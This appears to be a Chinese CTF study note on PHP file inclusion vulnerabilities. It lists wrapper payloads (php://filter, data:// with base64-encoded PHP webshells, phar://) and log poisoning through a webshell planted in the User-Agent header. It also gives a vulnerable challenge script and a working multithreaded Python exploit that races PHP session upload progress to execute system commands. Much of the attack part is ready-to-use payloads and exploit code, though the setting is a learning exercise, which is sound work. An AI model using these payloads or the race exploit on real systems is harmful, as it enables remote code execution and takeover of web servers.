0%

文件包含漏洞

文件包含漏洞

有include,require_once()包含一次,对软连接操作存在缺陷,超过20此就可以再次包含

伪协议

image.png

  1. 变量=php://input+一句话木马
  2. 变量=file://文件地址
  3. 变量=php://filter/convert.base64-encode/resource=文件名(/flag,根目录下)
  4. 变量= php://filter/convert.iconv.utf8.utf16/resource=文件名//绕过base64
  5. data数据流: ?page=data://text/plain, 一句话木马
  6. ?page=data://text/plain, 系统命令执行
  7. ?page=data://text/plain,
  8. 也可以将后面 进行base64编码
  9. ?page=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==木马
  10. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg== base64的意思是

php://filter/read=convert.base64-encode/resource=[文件名]

  1. phar://伪协议
    这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压 ?file=phar://压缩包/内部文件
  2. file_put_contents(“1.php”,“”);

php://filter,convert.iconv

convert.iconv..orconvert.iconv./

就是编码方式,有如下几种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

包含日志文件 进行getshell

日志文件路径: ?file=/var/log/nginx/access.log

image.png

上传后用burpsuite抓包

image.png

在UA头植入一句话木马

image.png

服务器即相应报错,可以蚁剑连接,也可以直接用密码文件包含

image.png

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

这种情况使用data伪协议,就会自动闭合,相当于把.php注释掉了

session条件竞争文件包含

利用场景

当存在一个文件包含漏洞但找不到可以包含恶意文件时候

判断及原理

phpinfo();

B15550097176222209253F82F04FF271.png

当选项为on,加入Cookie带了SESSION_UPLAOD_PROGRESS
这个选项原本是代表你上传文件的进度的,就比如你上传文件到服务器百分之五十、百分之七十这样的进度条

image.png

这个是文件的路径,这时候会在/tmp目录下生成一个/tmp/sess_xxx的文件xxx就是你自己设置的PHPSESSID的名字,文件的内容就会包含SESSION_UPLOAD_PROGRESS这个cookie的值
由于这个文件存活时间很短,所以我们需要一直上传文件来保持他的存活,这就是条件竞争

image.png

当这个选项关闭时我们可以直接进行文件上传,当这个选项开启时,我们就需要进行条件竞争.

题目复现及exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}

if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}

function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import requests
import threading
import re

session = requests.session()
sess = 'pop' #之前上传时自拟的名字
url1 = "http://node4.anna.nssctf.cn:28710/"
file = {
'file': io.BytesIO(b'a'*1024*50) #文件名,随便改就行
}
cookies = {
'PHPSESSID': sess
}

def write(): #上传文件竞争过程
while True:
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat /n*;echo findit;')?>"#修改rce的命令
}
data2 = {
"file": "/tmp/sess_pop",
"mode":"eval",
"shell":"1"
}
r = session.post(url1+"index.php", data=data1, files=file, cookies=cookies,params=data2)
if "findit" in r.text:
print("success")
print(r.text)

evnet=threading.Event() #开启线程
with requests.session() as session: #多线程操作
for i in range(15):
threading.Thread(target=write).start()
evnet.set()


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/ssft1rm9imexz3vi
语雀文档ID: 135136142